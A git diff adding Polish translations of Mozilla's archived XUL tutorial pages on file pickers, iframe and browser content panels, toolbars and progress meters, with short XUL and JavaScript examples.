+<p>Często spotykanym typem okien są takie, z których użytkownik ma możliwość otwierania lub zapisywana plików.</p>
+
+<h2 id="Wyb.C3.B3r_pliku" name="Wyb.C3.B3r_pliku">Wybór pliku</h2>
+
+<p>Okno wyboru pliku jest najczęściej używane przy komendach z menu 'Otwórz' i 'Zapisz', ale można też go użyć w innym miejscu, kiedykolwiek użytkownik potrzebuje wybrać plik. Interfejs <a href="pl/XPCOM">XPCOM</a> <a href="pl/NslFilePicker">nslFilePicker</a> jest używany w celu zaimplementowania okna wyboru pliku.</p>
+
+<div class="note">Note that the file picker only works from chrome URLs.</div>
+
+<p>Można użyć tego okna w trzech trybach:</p>
+
+<ul>
+ <li><strong>Otwórz</strong> - użytkownik jest proszony o wybór pliku do otwarcia</li>
+ <li><strong>Pobierz folder</strong> - użytkownik jest proszony o wybór katalogu (folderu)</li>
+ <li><strong>Zapisz</strong> - użytkownik jest proszony o wybór nazwy w celu zachowania pliku</li>
+</ul>
+
+<p>Wygląd okna jest inny dla każdego z powyższych typów i dodatkowo różni się w zależności od platformy. Kiedy użytkownik wybierze plik lub folder, wtedy można z niego czytać lub do niego zapisywać.</p>
+
+<p>Interfejs okna wyboru pliku <a href="pl/NslFilePicker">nslFilePicker</a> jest odpowiedzialny za wyświetlanie okna w jednym z trzech modów. Można ustawić kilka cech tego okna za pomocą wspomnianego interfejsu. Kiedy okno zostanie zamknięte, można użyć funkcji interfejsu, aby pobrać wybrany plik.</p>
+
+<h3 id="Tworzenie_okna_do_wyboru_pliku" name="Tworzenie_okna_do_wyboru_pliku">Tworzenie okna do wyboru pliku</h3>
+
+<p>Na początek należy stworzyć komponent okna do wyboru pliku i zainicjować go.</p>
+
+<pre>var nsIFilePicker = Components.interfaces.nsIFilePicker;
+var fp = Components.classes["@mozilla.org/filepicker;1"].createInstance(nsIFilePicker);
+fp.init(window, "Select a File", nsIFilePicker.modeOpen);
+</pre>
+
+<p>Najpierw, tworzymy nowy obiekt "wybieracza pliku", który jest przechowywany w zmiennej "fp". Funkcja "init" jest używana w celu inicjalizacji "wybieracza". Funkcja ta ma 3 argumenty: okno macierzyste, które otwiera okno wyboru, tytuł okna wyboru i jego mod. W przykładzie powyżej mod to "modeOpen", którego używamy dla okna wyboru otwieranego pliku. Można też użyć modu <code>modeGetFolder</code> i <code>modeSave</code>. Te tryby to stałe interfejsu <code>nsIFilePicker</code>.</p>
+
+<h3 id="Default_directory_and_filters" name="Default_directory_and_filters">Default directory and filters</h3>
+
+<p>Istnieją dwie cechy okna wyboru, które można ustawić przed jego wyświetleniem.</p>
+
+<ul>
+ <li>Pierwsza to domyślny folder, który otwiera się w momencie otwarcia okna wyboru.</li>
+ <li>Druga to filtr, który określa listę typów plików wyświetlanych w oknie. Można użyć tego np. żeby ukryć wszystkie pliki poza .html.</li>
+</ul>
+
+<p>Domyślny folder można zmienić przez ustawianie własności <code>displayDirectory</code> obiektu na wybrany folder. Folder ten powinien być obiektem <code><a href="pl/NsILocalFile">nsILocalFile</a></code>. Jeśli nie ustalisz domyślnego katalogu, będzie on wybrany automatycznie. Aby dodać filtry, wywołaj funkcję <code>appendFilters()</code>, aby ustalić typy plików do wyświetlania.</p>
+
+<pre>fp.appendFilters(nsIFilePicker.filterHTML | nsIFilePicker.filterImages);
+fp.appendFilters(nsIFilePicker.filterText | nsIFilePicker.filterAll);
+</pre>
+
+<ul>
+ <li>Pierwsza linijka z przykładu dodaje filtry dla plików HTML i obrazów, więc użytkownik będzie mógł wybrać tylko takie typy plików. Sposób, w jaki jest to robione zależy od platformy. Na niektórych każdy filtr trzeba oddzielić od pozostałych.</li>
+ <li>Druga linijka w przykładzie dodaje filtry dla plików tekstowych oraz dla wszystkich rodzajów. Tak więc użytkownik będzie miał możliwość wyświetlenia albo tylko plików tekstowych albo wszystkich typów.</li>
+</ul>
+
+<p>Można również użyć <code>filterXML</code> lub <code>filterXUL</code>, odpowiednio dla plików XML i XUL. Jeśli chcesz filtrować inne typy plików, możesz użyć funkcji <code>appendFilter()</code>:</p>
+
+<pre>fp.appendFilter("Audio Files","*.wav; *.mp3");
+</pre>
+
+<p>W przykładzie powyżej dodano filtr dla plików wave i mp3. Pierwszy argument to tytuł typu pliku, a drugi do lista masek plików rozdzielona średnikami. Można dodać tyle masek ile się chce. Można wywoływać <code>appendFilter()</code> tak często, jak tylko jest potrzebne dodawanie filtrów. Kolejność, w jakiej je podajesz, determinuje ich ważność. Typowo pierwszy w kolejności typ wybierany jest jako domyślny.</p>
+
+<h3 id="Wybranie_i_pobranie_pliku" name="Wybranie_i_pobranie_pliku">Wybranie i pobranie pliku</h3>
+
+<p>Wreszcie można otworzyć okno wywołując funkcję <code>show()</code>. Nie potrzebuje ona argumentów, ale zwraca kod statusu, który oznacza co wybrał użytkownik. Zauważmy, że funkcja nie zwróci nic dopóki użytkownik nie wybierze pliku. Zwraca ona jedną z następujących trzech stałych:</p>
+
+<ul>
+ <li><strong>returnOK</strong> - użytkownik wybrał plik i nacisnął 'OK'. Plik wybrany przez użytkownika będzie przechowywany we własności <code>file</code> w oknie wyboru.</li>
+ <li><strong>returnCancel</strong> - użytkownik nacisnął 'Anuluj'.</li>
+ <li><strong>returnReplace</strong> - w trybie zapisu, ta wartość identyfikuje plik, który użytkownik wybrał do zastąpienia (returnOK zostanie zwrócone, kiedy użytkownik wpisze nazwę nowego pliku).</li>
+</ul>
+
+<p>Powinieneś sprawdzić zwracaną wartość i następnie pobrać obiekt pliku z okna wyboru pliku stosując własność <code>file</code>.</p>
+
+<pre>var res = fp.show();
+if (res == nsIFilePicker.returnOK){
+ var thefile = fp.file;
+ // --- do something with the file here ---
+}
+</pre>
+
+<p>Następnie, zobaczymy <a href="pl/Kurs_XUL/Tworzenie_kreatora">jak utworzyć kreator</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_okien_dialogowych" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_kreatora">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/panele_treści/index.html b/files/pl/mozilla/tech/xul/kurs_xul/panele_treści/index.html
new file mode 100644
index 0000000000..dcf3f20fdf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/panele_treści/index.html
@@ -0,0 +1,83 @@
+---
+title: Panele treści
+slug: Mozilla/Tech/XUL/Kurs_XUL/Panele_treści
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Content_Panels
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Siatki" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Rozdzielacze">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule, zobaczymy jak dodawać panele potrafiące wyświetlić stronę HTML lub inne pliki XUL.</p>
+
+<h2 id="Dodawanie_paneli_potomnych" name="Dodawanie_paneli_potomnych">Dodawanie paneli potomnych</h2>
+
+<p>Może kiedyś będziesz potrzebować załadować część dokumentu z innego źródła lub zmienić część okna. Dobrym przykładem jest kreator krok-po-kroku, który będzie zawierał pewną liczbę ekranów, z różnymi układami pytań. Kiedy użytkownik kliknie przycisk Dalej, wyświetlany będzie następny ekran.</p>
+
+<p>Możesz utworzyć interfejs kreatora otwierając nowe okno dla każdego ekranu. Są jednak trzy problemy z tym związane. Po pierwsze, kolejne okna mogą otwierać się w różnych miejscach (to jeszcze da się pominąć). Po drugie, elementy takie jak przyciski Dalej i Wstecz są takie same w całym kreatorze. Lepiej po prostu zmieniać zawartość kreatora. Po trzecie, koordynowanie skryptów uruchamianych w oddzielnych oknach jest trudne.</p>
+
+<p>XUL posiada element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code></code> (kreator), który może być zastosowany do tworzenia kreatorów. Jest on opisany <a href="pl/Kurs_XUL/Tworzenie_kreatora">dalszej części kursu</a>.</p>
+
+<p>Innym sposobem jest użycie elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>, który działa tak samo jak jego HTML-owy odpowiednik. Otwiera on inny dokument w tym samym oknie (ramce). Jego dużym plusem jest to, że może być umieszczony gdziekolwiek w oknie i może ładować swą zawartość z oddzielnego pliku. URL pliku, który ma być wyświetlony w ramce ustawia się za pomocą atrybutu <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code>. Ten adres URL może wskazywać na jakikolwiek plik, najczęściej wskazuje on na plik HTML lub XUL. Możesz użyć skryptu aby zmienić zawartość ramki (<code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>) bez wpływu na główne okno.</p>
+
+<p>W przeglądarce Mozilla, obszar w którym wyświetlana strona WWW jest stworzony właśnie jako <code>iframe</code>. Kiedy użytkownik klika na odnośnik w dokumencie lub wpisuje adres URL, źródło ramki jest zmieniane.</p>
+
+<h5 id="Przyk.C5.82ad_iframe" name="Przyk.C5.82ad_iframe">Przykład <code>iframe</code></h5>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_1.xul">Podgląd</a></p>
+
+<pre>&lt;toolbox&gt;
+ &lt;toolbar id="nav-toolbar"&gt;
+ &lt;toolbarbutton label="Wstecz"/&gt;
+ &lt;toolbarbutton label="Dalej"/&gt;
+ &lt;textbox id="urlfield"/&gt;
+ &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+
+&lt;iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1"/&gt;
+</pre>
+
+<p>Powyższy przykład stworzył bardzo prosty interfejs przeglądarki web. Okno zawiera 2 elementy: <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>. Przyciski (<code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>) &lt;tt&gt;Dalej&lt;/tt&gt; i &lt;tt&gt;Wstecz&lt;/tt&gt; oraz pole do wpisywania adresu URL zostały po prostu dodane do paska narzędzi. Strony otwierają się wewnątrz <code>iframe</code>. W tym przypadku domyślnie otworzy się witryna Mozilli.</p>
+
+<p>Ten przykład nie działa w pełni. Następnie możesz dodać skrypt, który zmienia atrybut <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code> w odpowiednim momencie, np. kiedy użytkownik wciśnie klawisz &lt;tt&gt;Enter&lt;/tt&gt;.</p>
+
+<h2 id="Przegl.C4.85darki" name="Przegl.C4.85darki">Przeglądarki</h2>
+
+<p>Oto drugi typ panelu treści, stosując tag <code><code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code>. Możesz to użyć kiedy chcesz stworzyć ramkę wyświetlającą zawartość jak przeglądarka. Właściwie ramka <code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code> też to potrafi zrobić, ale przeglądarka posiada więcej rozmaitych cech. Na przykład przeglądarka zapamiętuje historię odwiedzanych stron dla użytku z przyciskami &lt;tt&gt;wstecz&lt;/tt&gt; i &lt;tt&gt;Dalej&lt;/tt&gt;. <code><code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code> potrafi również załadować strony z flagą "referer" lub inną. Najważniejsze jest jednak to, że tag <code>browser</code> powinien być użyty, kiedy chcesz stworzyć interfejs podobny do przeglądarki, a <code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code> może stworzyć tylko prosty panel.</p>
+
+<p>Podobny element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></code>, posiada funkcjonalność <code>browser</code>, lecz posiada również pasek z zakładkami do otwierania wielu stron naraz. Jest to używane w Mozilli dla jej "zakładkowego" interfejsu. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></code> jest w rzeczywistości zbudowany z elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>, na którym są umieszczone elementy przeglądarki. Te same typy przeglądarek oferują podobną kontrolę stron, jakie są w nich wyświetlane.</p>
+
+<h5 id="Przyk.C5.82ad_browser" name="Przyk.C5.82ad_browser">Przykład <code>browser</code></h5>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_2.xul">Podgląd</a></p>
+
+<pre>&lt;browser src="http://www.mozilla.org" flex="1"/&gt;
+</pre>
+
+<p>Tak samo jak w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>, możesz wyszczególnić URL w przeglądarce stosując atrybut <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code>. Dla elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></code>, nie możesz ustawić URL tak jak tutaj, ponieważ to nie wyświetla jednego URL. Musisz użyć skryptu i wywołać funkcję <code>loadURI</code>.</p>
+
+<p>Są trzy klasy przeglądarki, właściwe do typu zawartości, jaki zamierzasz wyświetlić. Typ może być ustawiony za pomocą atrybutu <code><a href="pl/XUL/Atrybut/browser.type">type</a></code>.</p>
+
+<p>Pierwszy typ, domyślny (default) jest używany kiedy nie wybierzesz typu. W tym wypadku zawartość załadowana do przeglądarki jest traktowana jakby była częścią tej samej aplikacji i ma dostęp do zewnętrznego okna. To znaczy, że jeśli skrypt załadowany do takiej przeglądarki chce dostać całe okno, zostanie otwarty w nowym oknie.</p>
+
+<p>To może być odpowiednie dla panelu-dziecka który jest częścią twojej aplikacji, lecz niezbyt, gdy chcesz przeglądarkę wczytującą stronę web. Natomiast chcesz pozwolić stronie na dostęp tylko do jej samej. Powinieneś zauważyć, że paski narzędzi, pasek statusu i parę innych rzeczy okna Mozilli jest stworzone z elementu tabbrowser kształtującego obszar główny. Ten wewnętrzny obszar wyświetla stronę web i strona ta nie może uzyskać dostępu do reszty okna. Dzieje się tak dzięki drugiemu typowi przeglądarki, użytym dzięki atrybutowi <code><a href="pl/XUL/Atrybut/browser.type">type</a></code> ustawionego na wartość content. Oto przykład:</p>
+
+<div class="sample">
+<pre>&lt;browser src="http://www.mozilla.org" type="content" flex="1"/&gt;
+</pre>
+</div>
+
+<div class="note"><b>Ważne</b>: Musimy ustawić atrybut <code><a href="pl/XUL/Atrybut/browser.type">type</a></code> poprawnie, jeśli chcemy wyświetlić strony internetowe wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></code>.</div>
+
+<p>Jest to ważne, żeby ustawić atrybut <code>type</code> poprawnie, jeśli chcesz wyświetlać strony wewnątrz elementu browser. Element <code>tabbrowser</code> ustawia wartość <code>content</code> automatycznie we wszystkich swoich wewnętrznych przeglądarkach. Tak więc nie musisz ustawiać go, jeśli używasz elementu <code>tabbrowser</code>.</p>
+
+<p>Trzeci typ jest używany by wskazywać główną zawartość do środka okna. <code>tabbrowser</code> ustawia to automatycznie dla tej przeglądarki, która jest aktualnie używana. Lecz możesz ustawić to zmieniając atrybut <code><a href="pl/XUL/Atrybut/browser.type">type</a></code> elementu browser, jeśli masz ich (przeglądarek) więcej w jednym oknie, np. jeśli masz sidebara wyświetlającego jakąś zawartość cały czas. Ustaw atrybut <code>type</code> na wartość <code>content-primary</code>. To działa jak wartość <code>content</code>, lecz daje to możliwość odwołania się do tego obiektu bez miany fokusu. To ułatwia napisanie skryptu mającego dostęp do głównej przeglądarki. Ta własność jest stworzona specjalnie dla elementu <code>tabbrowser</code>, gdyż obiekt ją posiadający jest ciągle widoczny i jest możliwy do niego dostęp bez przerwy.</p>
+
+<p>Następnie, zobaczymy jak zrobić <a href="pl/Kurs_XUL/Rozdzielacze">rozdzielacz</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Siatki" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Rozdzielacze">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/paski_narzędzi/index.html b/files/pl/mozilla/tech/xul/kurs_xul/paski_narzędzi/index.html
new file mode 100644
index 0000000000..952b09f3b6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/paski_narzędzi/index.html
@@ -0,0 +1,85 @@
+---
+title: Paski narzędzi
+slug: Mozilla/Tech/XUL/Kurs_XUL/Paski_narzędzi
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Toolbars
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Paski_przewijania" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Proste_paski_menu">Następny »</a></p>
+</div><p></p>
+<p>Pasek narzędzi zazwyczaj jest umieszczony wzdłuż góry okna i zawiera parę przycisków, które pełnią przypisane im funkcje. XUL posiada metodę do tworzenia przycisków.</p>
+<h3 id="Dodawanie_paska_narz.C4.99dzi" name="Dodawanie_paska_narz.C4.99dzi">Dodawanie paska narzędzi</h3>
+<p>Tak jak wiele elementów w <a href="pl/XUL">XUL</a>, paski narzędzi są typem pudełka. Zazwyczaj w pasku narzędzi umieszczone są <a href="pl/Kurs_XUL/Dodawanie_przycisk%c3%b3w">przyciski</a>, ale może się w nim znajdować dowolny element. Na przykład okno przeglądarki Mozilla posiada w pasku narzędzi <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia">pole tekstowe</a>, które wyświetla adres URL.</p>
+<p>Paski narzędzi mogą być umieszczone na jakimkolwiek boku okna, albo poziomo albo pionowo. Oczywiście zwykle nie położyłbyś pola tekstowego w pionowym pasku narzędzi. W rzeczywistości, ponieważ paski narzędzi są tylko pudełkami, mogą zostać umieszczone gdziekolwiek chcemy, również pośrodku okna. Zwykle jednakże ustawiamy pasek narzędzi tak, aby pojawił się wzdłuż góry okna. Kiedy więcej niż jeden pasek narzędzi jest położony obok drugiego, to zwykle są one pogrupowane w 'toolbox'.</p>
+<p>Po lewej stronie paska narzędzi znajduje się wcięcie, które, jeśli klikniesz, to zwinie pasek narzędzi i będzie tylko widoczne owe wcięcie. Wcięcie to nazywamy
+ <i>
+ grippy</i>
+ . Kiedy kilka pasków narzędzi umieścimy w tym samym pudełku, uchwyty zostaną zwinięte do pojedynczego rzędu, dzięki czemu mniej miejsca zostanie zajęte. Pionowe paski narzędzi mają uchwyty nad sobą. Zazwyczaj są one zwijane, jeśli użytkownik potrzebuje w oknie więcej przestrzeni dla głównego okna.</p>
+<h5 id="Prosty_toolbar_wewn.C4.85trz_toolbox" name="Prosty_toolbar_wewn.C4.85trz_toolbox">Prosty <code>toolbar</code> wewnątrz <code>toolbox</code></h5>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_toolbar_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_toolbar_1.xul">Podgląd</a></p>
+<div class="float-right">
+ <img alt="grafika:toolbar1.png"></div>
+<pre>&lt;toolbox&gt;
+ &lt;toolbar id="nav-toolbar"&gt;
+ &lt;toolbarbutton label="Wstecz"/&gt;
+ &lt;toolbarbutton label="Dalej"/&gt;
+ &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+</pre>
+<p>Został utworzony pasek narzędzi zawierający dwa przyciski; przycisk <code>Wstecz</code> oraz przycisk <code>Dalej</code>. Pasek został umieszczony wewnątrz elementu <code>toolbox</code>. Zastosowane zostały cztery nowe znaczniki, które są omówione poniżej:</p>
+<dl>
+ <dt>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code> </dt>
+ <dd>
+ Pudełko zawierające paski narzędzi.</dd>
+ <dt>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> </dt>
+ <dd>
+ Pojedynczy pasek narzędzi zawierający elementy, takie jak przyciski. Pasek narzędzi może być zwinięty przy pomocy chwytaka, pojawiającego się po lewej stronie lub powyżej paska.</dd>
+ <dt>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code> </dt>
+ <dd>
+ Przycisk na pasku narzędzi, który posiada takie same właściwości jak zwykły przycisk, od którego różni się zazwyczaj sposobem wyświetlania.</dd>
+ <dt>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code> </dt>
+ <dd>
+ Element tworzący chwytak, stosowany do zwijania oraz rozwijania paska narzędzi. Nie musimy go dodawać, jako że zostanie dodany automatycznie.</dd>
+</dl>
+<p><code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></code> jest głównym elementem, który utworzy rzeczywisty pasek narzędzi. Wewnątrz niego są umieszczone oddzielne pozycje paska narzędzi, są to zazwyczaj przyciski, ale mogą to być również elementy innego typu. Pasek narzędzi powinien posiadać atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code>, w przeciwnym wypadku grippy nie będzie mógł zwinąć lub rozwinąć paska narzędzi w prawidłowy sposób.</p>
+<p>W przykładzie powyżej został stworzony tylko jeden pasek narzędzi. Wiele pasków może zostać utworzonych poprzez dodanie elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></code> po pierwszym elemencie.</p>
+<p>Element typu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code> jest kontenerem dla pasków narzędzi. W niektórych programach znajduje się kilka pasków wzdłuż góry okna. Wszystkie one mogą zostać umieszczone wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code>.</p>
+<p>Nie musisz umieszczać elementów <code>toolbar</code> wewnątrz <code>toolbox</code>.</p>
+<p>Grippy jest tworzony poprzez element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code></code>. Zastosowanie tego elementu poza paskiem narzędzi mija się z celem, ponieważ nie będzie miał czego zwinąć. Można jednak zmienić jego wygląd. Żeby schować grippy, należy do elementu <code>toolbar</code> dodać atrybut <code><code id="a-grippyhidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/grippyhidden">grippyhidden</a></code></code> ustawiony na wartość <code>true</code>.</p>
+<div class="float-right">
+ Te same paski, dwa z nich zwinięte<br>
+ <p><img alt="grafika:toolbar3.jpg"></p>
+</div>
+<p>Poniżej przykład elementu <code>toolbox</code> zawierający wewnątrz trzy paski narzędzi<br>
+ <img alt="grafika:toolbar2.jpg"></p>
+<div class="highlight">
+ <h4 id="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki">Nasz przykład: <code>Znajdź pliki</code></h4>
+ <p>W celach demonstracyjnych dodajmy pasek narzędzi do okna dialogowego <code>Znajdź pliki</code>. Będzie on zawierał dwa przyciski, <code>Otwórz</code> oraz <code>Zapisz</code>, które pozwolą na zapisanie wyników wyszukiwania oraz ich późniejsze otwarcie.</p>
+ <p> </p>
+ <pre class="eval">&lt;vbox flex="1"&gt;
+ <span class="highlightblue">&lt;toolbox&gt;
+ &lt;toolbar id="findfiles-toolbar"&gt;
+ &lt;toolbarbutton id="opensearch" label="Otwórz"/&gt;
+ &lt;toolbarbutton id="savesearch" label="Zapisz"/&gt;
+ &lt;/toolbar&gt;
+ &lt;/toolbox&gt;</span>
+ &lt;tabbox&gt;
+</pre>
+ <p> </p>
+ <div class="float-right">
+ <img alt="grafika:toolbar5.png"></div>
+ <p>Został dodany pasek narzędzi z dwoma przyciskami. Na obrazku można zobaczyć, że zostały umieszczone poziomo na górze okna. Grippy także został wyświetlony po lewej stronie paska narzędzi. Zauważ, że pasek narzędzi został umieszczony wewnątrz pionowego pola powyżej pudełka kart. Jest to spowodowane koniecznością pionowego ułożenia, tak aby pasek narzędzi mógł się pojawić ponad pozostałymi elementami.</p>
+ <p>Nasz przykład: <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-toolbar.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-toolbar.xul">Podgląd</a></p>
+</div>
+<p>W następnym artykule dowiemy się <a href="pl/Kurs_XUL/Proste_paski_menu">jak dodać do okna pasek menu</a>.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Paski_przewijania" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Proste_paski_menu">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/paski_postępu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/paski_postępu/index.html
new file mode 100644
index 0000000000..5be89be3bd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/paski_postępu/index.html
@@ -0,0 +1,59 @@
+---
+title: Paski postępu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Paski_postępu
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Progress_Meters
+---
+<p>
+</p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrolki_list" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_elementów_HTML">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule przyjrzymy się bliżej sposobom tworzenia pasków postępu.
+</p>
+<h3 id="Dodanie_paska_post.C4.99pu" name="Dodanie_paska_post.C4.99pu"> Dodanie paska postępu </h3>
+<p>Pasek postępu jest paskiem, który wyświetla, jaka cześć zadania jest już wykonana. Najczęściej spotykamy się z paskiem postępu podczas pobierania plików lub podczas trwania długotrwałych operacji. XUL posiada zdefiniowany element <code><a href="/pl/docs/Mozilla/Tech/XUL/progressmeter" title="progressmeter">progressmeter</a></code>, który stosuje się do tworzenia nowego paska. Rozróżniamy dwa typy pasków postępu: <i>określony</i> i <i>nieokreślony</i>.
+</p><p>Określone paski postępu są stosowane, gdy znamy długość czasu, jaki będzie potrzebny do wykonania danej operacji. Pasek postępu będzie się wypełniał, gdy będzie już pełny, operacja powinna zostać zakończona. Najczęściej wykorzystywanymi okienkami, które stosują ten typ paska, to okienka dialogowe pobierania pliku, oczywiście, jeśli znany jest rozmiar pliku.
+</p><p>Nieokreślone paski postępu stosujemy, gdy nie znamy długości czasu, jaki będzie potrzebny do wykonania danej operacji. Pasek postępu będzie posiadał animację wypełniających się słupków lub wypełniającego się paska, zależy to od wykorzystywanej platformy systemowej oraz ustawionego motywu przeglądarki.
+</p><p>Określony pasek postępu:
+<img alt="Grafika:prog-det.png">
+</p><p>Nieokreślony pasek postępu:
+<img alt="Grafika:prog-udet.png">
+</p><p>Pasek postępu posiada następującą składnię: </p>
+<pre>&lt;progressmeter
+ id="identifier"
+ mode="determined"
+ value="50%"/&gt;
+</pre>
+<p>Atrybutami są: </p>
+<dl><dt> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> </dt><dd> Unikalny identyfikator paska postępu,
+</dd><dt> <a href="pl/XUL/Atrybut/progressmeter.mode">mode</a> </dt><dd> Typ paska postępu. Jeśli jest ustawiony na wartość <code>determined</code>, pasek postępu jest określonym paskiem postępu, wypełniającym się do momentu ukończenia wykonywanego zadania. Jeśli jest ustawiony na wartość <code>undetermined</code>, pasek postępu jest nieokreślony, przy którym nieznany jest czas trwania operacji. Jeśli typ paska nie zostanie ustawiony, to przyjęta zostanie wartość domyślna - <code>determined</code>.
+</dd><dt> <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> </dt><dd> Bieżąca wartość paska postępu. Stosujemy dla określonych pasków postępu. Wartość wyrażona w procentach powinna zawierać się w przedziale od 0% do 100%. Wartość byłaby zmieniana przez skrypt, kiedy zadanie zakończy się.
+</dd></dl>
+<div class="highlight">
+<h5 id="Przyk.C5.82ad_okna:_Znajd.C5.BA_pliki" name="Przyk.C5.82ad_okna:_Znajd.C5.BA_pliki"> Przykład okna: <code>Znajdź pliki</code> </h5>
+<p>Dodajmy pasek postępu do naszego okna dialogowego <code>Znajdź pliki</code>. Normalnie powinno się stosować nieokreślony pasek postępu, ponieważ nie wiemy jak wiele plików będziemy szukać lub jak długo będzie trwało szukanie. Jednakże, możemy dodać jeden normalny pasek jako animowany pasek postępu, który może być nieokreślony podczas programowania. Pasek postępu będzie wyświetlany normalnie tylko podczas szukania. W kolejnych artykułach dodamy skrypty do uruchomienia paska postępu.
+</p>
